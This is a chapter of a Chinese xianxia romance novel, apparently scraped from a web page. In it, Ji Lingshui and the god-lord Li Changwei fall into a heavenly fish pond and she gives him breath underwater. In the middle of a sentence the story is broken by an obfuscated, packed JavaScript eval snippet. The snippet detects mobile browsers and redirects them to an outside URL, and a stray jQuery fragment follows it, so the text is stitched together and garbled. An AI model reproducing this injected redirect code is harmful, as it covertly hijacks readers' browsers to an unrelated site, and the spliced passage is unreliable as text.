清华殿门前的侍者识得黎无双,便也未加阻拦,放得二人进殿。
“清华殿中的鱼池是整个天界最大最华美的,”黎无双正与姬灵水说着,转头蓦然撞进一道淡漠的视线,于是立马换上副谄媚的笑脸,“大哥!我带灵水来玩玩。”
姬灵水局促唤了声长微神君,黎长微轻轻颔首,警示的目光扫过黎无双。
“不用管他。”黎无双拉过姬灵水的手,二人奔到鱼池边。
池中鱼群色彩斑斓,形状各异,竟是姬灵水从未见过的模样。
“这些都是无法化形的灵物。”黎无双正色同她道,“原本是生在麒麟山里的珍奇之物,只是麒麟山那位长老性格怪异,严苛至极,凡是化不了形的都视为无用,不是炼化便是丢弃。后来我大哥路过麒麟山,便向长老把这些灵物全都求回来了。”
姬灵水闻言忍不住去瞟身后案桌处看书的黎长微,他眉目清浅,周身仿佛镀了层柔光,随着额心的金印忽隐忽现。
不知为何,她心中浮现了四个大字——道貌岸然。
若他真是个圣人,有着菩萨心肠,包容万物,怎会对她隐隐露出心中的厌恶呢。
黎长微似乎察觉到了这道炽热的视线,眉心微蹙,刚抬起一丝眼睫,姬灵水立刻伸长了脖子佯装观赏。
“真的很美。”
姬灵水慌乱蹲下,水蓝色的轻纱裙摆垂在池沿,晕湿了纱绸。
她指尖试探着伸入水中,未想竟有一只冰蓝色的长尾鱼翩然而来,翕动的鱼嘴触到她的指腹,轻柔得像是亲吻。
它的长尾犹如一条冰蓝的丝带不断摇曳摆动,在透亮的水中更为绚丽夺目。
姬灵水一向喜爱外表昳丽的事物,当下绽开笑颜,逗弄起长尾鱼来。
那鱼儿似乎也被姬灵水所感染,欢欣而游,几乎腾跃出水面,引得池水四溅,玩到兴头上更是想直往岸边的姬灵水怀中扑。
黎长微冷着脸行到姬灵水身后,用她看不到的眼神紧盯着那尾鱼,鱼儿看出警告意味,默然停下却又觉得不甘,最后竟猛然一跃,跃出池面半人高,再重重跳入水中。
巨大的水花袭来,姬灵水被这变故一惊,腾地直起身,头顶却狠狠撞上一片坚硬,她转头预备探究,黎长微便已以雷霆之势轻推她肩一把将她扶稳。
姬灵水眼神触到黎长微那一瞬心中有些微讶然,脚步微动,正好踩到先前被晕湿的裙摆上,她惊呼出声,本能地伸出手攥紧眼前人的袖子。
事情发生得太过迅速,黎无双来不及反应,捂着嘴眼睁睁看着二人一同落入鱼池。
直到一声巨响,黎无双从震颤中回过神,趴在鱼池边大声喊道:“姬灵水!快把我哥捞起来!”
不是黎无双质疑黎长微的灵力,而是神仑一族自古以来便不会凫水,那源自祖先血脉里对水的恐惧,无论能力再怎么强大,都是无法忽视的。
刚跌入池中的时候姬灵水就已然想起这事了,她灵活地在水中游动,径直朝黎长微而去。
方才在岸上的时候不曾察觉,池下别有一番天地,一批批鱼群向底下飞旋,她站立时触不到底,不知池深几何,只是整个人身子竟不自觉地同鱼群一齐下沉。
黎长微面上并不惊惧,只是皱着眉紧闭双唇,身子顺势向下沉去,这副景象在姬灵水眼中已然是黎长微还在强撑。
她幼时跟黎无双去海边,本在浅滩玩得好好的,没想到撞上龙王突然发怒,海浪把二人卷了进去,黎无双当时就吓晕了。
终于快沉到底处,鱼群渐渐稀疏,周围也没有了灵物。黎长微轻阖上眸,正欲运气。
腰间突然环上一双手。
他惊惶睁眼,入眼的是少女精致的面庞,乌发如海草散在她身后,她额间的蓝莲花印记溢出点点亮光。
脑中陷入一片空白前最后听到的两个字是:“别怕。”
随后双唇被什么柔软的东西堵住了,他感到一阵清凉而又温暖的灵气窜进他的五脏六腑。
这股灵气使他的心剧烈跳动起来。
而后他似乎有长达半刻钟的缄默。
等缄默过去,羞恼、愤然、无措抑或是还有什么别的情绪,通通席卷而来。
“放肆。”他冷声呵斥。
姬灵水却像听不懂似的,“能说话了?那还是有用的,还要吗?”
说着似乎又要贴上来,黎长微立即把她环在自己腰上的手掰开。
方才他随着鱼群下沉是因为这些灵物修为浅薄,平时只能依靠灵池中的灵水存活,受不得一点术法,他才忍到此处。而姬灵水好像以为,他是被她这点可怜的灵气给救了。
“灵水君,注意你的身份。”他沉声。
姬灵水望向他的眼神里忍不住露出一些怜悯。
看来当神君也并不像想象中那么风光,要在世人面前处处维系自己的威严,不可表现出恐惧担忧之类的神情,平日还要不苟言笑,哪怕到了生死关头,也要故作冷静地对着弱小表明自己的圣人身份。
“好好,你说得都对。”姬灵水伸手握住他的手,不由分说地牵着他向上游去。
要不是看在黎无双的份上,莫说是神君,天帝她都不救。
黎长微本想挣脱,抬眸望见上方她自如纤柔的身姿,蓦然平静下来。
她与水融为一体,就像一幅浑然天成的画卷。
姬灵水不用术法也能带着他往上,再往上,毫不费力。
黎长微忽然想到姬灵水的本体,是水龙吗?可六百年前姬烬水曾昭告天下姬灵水并非老主君亲女,那就不会是龙。
他蓦然开口:“你的本体是何物?”
姬灵水似乎是没想到黎长微会忽然问她这个,顿了顿,“我哥哥是火龙,我是水龙——很巧罢?”
她笑笑:“你想看看吗?”
黎长微别过眼神:“不必。”
片刻后,二人浮出了水面。
黎无双松了口气。
黎长微则是迅速松了姬灵水的手,姬灵水了然一笑,边上岸边对黎无双道:“看来神仑也不是所有人都像你那样胆小怕水,神君就不怕。”
黎无双嘁了一声:“他可是神君,我只是小小仙君,也并不丢人。”
“黎无双。”黎长微仍在池中,侧对二人,眼神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585767|205251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凝在眼前的金柱上。
“怎么?”
“带她去换衣。”
二人这才反应过来,姬灵水浑身湿透,此刻薄纱正紧紧贴在身上。
黎无双眼睛倏地瞪大,直到进了内殿才敢低声问她:“方才在水下你也是如此吗?”
姬灵水翻了个白眼:“不然呢?”
黎无双认真打量着姬灵水,不禁发出谓叹:“你若是做我的嫂嫂,我也是能接受的。”
“你胡说什么?”姬灵水凝眉。
黎无双却满面严肃:“我大哥从不近女色,做修士的时候连怎么跟女同门说话都不知道,甚是古板无趣,简直就是坏了我们神仑狐族的名声。若不是生了一副好皮囊,想必也是不会招姑娘喜欢的。”
“可他方才竟懂得体贴人了,真是稀奇!”她作震惊模样,撞了撞姬灵水,“我看到他耳朵红了!”
姬灵水已换好了干爽衣物,忙打断她:“休要再捉弄我。”
若她能使人从厌恶转为喜爱她,那她如今定是早掏空屺阴的灵气了。
她现下并不奢求黎长微能对她有几分欣赏,只希望他哪日中了邪非要把不死金身之术传授给她,她就心满意足了。
这头黎长微仍泡在池中,身倚靠在池沿,紫袍厚重地裹住他身躯,湿发散落几绺贴在额间,滴滴水珠滚落到他的眼睫,平日里尽显正气的双眸微眯,此刻多了几分魅气。
蓝色魂魄气得幻化出几重虚影。
“你不给我个解释吗?”敖亦冷哼,“哄骗我不可现身,我便只能囿于鱼身,你却、你却——”
让她渡气,与她紧紧相贴。
“这实非吾本意。”半晌,黎长微才道,“殿下也看到了,她并非对你特别相待。”
而她这等作风,他还是修士的时候就已有耳闻。
敖亦冷静下来:“那又如何?总归她对我也是真心。”
“就算她并不钟情于你一人,也无所谓么?”黎长微轻笑,“你们真有意思。”
敖亦忍无可忍:“与你无关,总之,神君日后不许再靠近她。”
“求之不得。”黎长微闭眸。
敖亦刚走,黎无双的尖叫声猛然传了过来:“你怎么还在水里!”
黎长微转头看她,眸中带了丝疑惑。
黎无双像是看透了什么,邪笑着问他:“是在找谁呢?”
“她已经走了,叫我代她道歉,说今日给你添麻烦了。”
“嗯。”
黎无双噗地笑出声,又要再打趣,黎长微已从鱼池中起身,疾步进了内殿。
·
饶是再有兴味也不能再在天界多留,姬灵水凭着来时的记忆摸索着往天界门行去。
没想到远远便瞧见云雾间一个红色的身影。
姬烬水守在天界门处,不知在等谁。
手中玉杯像是有源源不断的佳酿,他慵懒倚在云端,仰头饮了一杯又一杯。
姬灵水下意识往四周望去,意在寻它路出天界。
这等景象落在姬烬水眼中自是愠怒不已,略微沙哑的嗓音响在她耳侧:“过来。”